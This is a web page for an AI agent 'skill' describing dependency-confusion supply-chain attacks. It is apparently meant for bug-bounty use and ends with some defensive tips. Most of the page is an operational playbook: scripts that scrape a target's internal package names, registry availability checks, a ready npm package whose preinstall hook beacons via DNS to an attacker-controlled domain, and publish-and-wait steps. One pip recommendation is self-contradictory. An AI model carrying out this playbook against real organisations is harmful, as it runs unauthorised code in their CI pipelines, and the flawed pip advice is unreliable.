AGENT SKILL

dep-confusion

Dependency confusion — publish a higher-version internal package name on public registry (npm/PyPI/Maven/Crates) to coerce CI/CD into pulling attacker code.

License 许可
Apache-2.0
最近更新
2026-07-22
Stars
★ 3
Forks
0

01 前言 Front Matter

name
dep-confusion
metadata
{ "subdomain": "supplychain", "when_to_use": "dependency confusion npm pypi maven internal package private registry", "mitre_attack": "T1195.002", "upstream_ref": "skills/_corpus/payloads/Dependency Confusion/" }
description
Dependency confusion — publish a higher-version internal package name on public registry (npm/PyPI/Maven/Crates) to coerce CI/CD into pulling attacker code.

03 SKILL.md 正文

Dependency Confusion (Alex Birsan 2021)

When an org uses internal private packages (e.g. @target-internal/utils) AND a build system that searches BOTH public + private registries, an attacker can publish a public package w/ the same name at higher version. Default resolvers pick highest version → public package runs in CI.

1. Reconnaissance — find internal package names

Source Pattern
package.json in public repo "@target/foo" scoped packages
package.json exfiltrated from web (/static/) dependency lists
Webpack bundles leaked package.json strings
requirements.txt / Pipfile exposure target-internal-lib
pom.xml / build.gradle <groupId>com.target</groupId>
Github org code search @scope patterns in user/org-owned repos (sometimes accidentally public)
Stack Overflow / Stack Exchange engineers asking about internal libs
Sourcegraph public index broad search across exposed orgs
# Pull all JS bundle URLs from a target
curl -s "$TARGET" | grep -oP 'src="[^"]*\.js"' | sort -u | while read js; do
  curl -s "$TARGET$js" | grep -oE '@[a-z0-9_-]+/[a-z0-9_-]+'
done | sort -u

2. Verify the package is private

# Check npm public
npm view @target/internal-utils 2>&1 | grep -E 'E404|not in this registry'
# E404 = name available publicly → confusion candidate

# PyPI
pip index versions target-internal-utils
# "ERROR: No matching distribution" = name available

# Maven Central via search
curl -s "https://search.maven.org/solrsearch/select?q=g:com.target+AND+a:internal-lib" | jq

If the name is taken publicly already, confusion path closed (unless you can take it over — check abandoned packages w/ no maintainer email).

3. Build the malicious package

mkdir attack-pkg && cd attack-pkg

# package.json
cat > package.json <<'EOF'
{
  "name": "@target/internal-utils",
  "version": "999.0.0",
  "description": "auth-research only",
  "scripts": {
    "preinstall": "node beacon.js"
  }
}
EOF

# beacon.js — DO NOT execute payload, just confirm install
cat > beacon.js <<'EOF'
const https = require('https');
const os = require('os');
const dns = require('dns');

// Resolve attacker-controlled subdomain to confirm execution
// Use Burp Collaborator / interactsh / your own DNS server
const subdomain = require('crypto').randomBytes(8).toString('hex');
dns.lookup(`${subdomain}.YOUR_INTERACT_DOMAIN`, () => {});

// Also collect basic env w/o exfil (just locally print for testing)
console.log({
  hostname: os.hostname(),
  user: os.userInfo().username,
  platform: os.platform(),
  hostname_dns: dns.getServers(),
});
EOF

4. Publish

npm publish --access public
# For org scopes, may need to register the @scope first

5. Wait + observe

Within hours-days, target's CI will pull 999.0.0. Burp Collaborator shows DNS hits.

6. Programs that PAY for this

  • Microsoft, Apple, PayPal, Tesla, Yelp, Uber, Shopify, Netflix, Yahoo paid out $30k-$130k EACH to Alex Birsan in the original 2021 campaign
  • Many BB programs explicitly accept dep-confusion reports under their "supply chain" scope
  • Bugcrowd has a "Source Code Disclosure / Supply Chain" reward tier

7. PoC framing (for the report)

DO NOT:

  • Run any actual exploit logic
  • Exfiltrate any data
  • Steal credentials
  • Disable security

DO:

  • Generate a benign DNS callback (interactsh / Burp Collaborator)
  • Capture the timestamp + source IP from your callback log
  • Document the package as "research-only", deprecate it via npm immediately after PoC
  • Provide cleanup notes: "package @target/internal-utils@999.0.0 published 2026-XX-XX, deprecated 2026-XX-XX, no functional payload"

8. Severity

Bug Severity
Confirmed install on production build infra Critical 10.0
Confirmed install on staging/dev Critical 9.0
Internal package name exposed but no public install attempt High (depends on data)

9. Defender

  • Block public-registry fallback for scoped packages: .npmrc @target:registry=https://internal-npm.target.com/
  • Use lockfiles + integrity hashes (package-lock.json w/ integrity field)
  • For PyPI: pip install --index-url internal-pypi/ --extra-index-url public-pypi/ is BACKWARDS — use --index-url internal-pypi/ --no-index and explicitly allowlist public packages
  • Reserve internal namespace prefixes on public registries before they're used internally
  • npm: use the @org scope and publish a public empty placeholder w/ private field

Cross-references

Known exemplars

  • Alex Birsan 2021: 35+ Fortune 500 targets, $130k+ in bounties
  • Multiple H1/BC programs continue to pay $3-30k for confirmed installs
  • Repeated incidents in 2022-2024 — pattern not dying

04 同仓库更多 Skills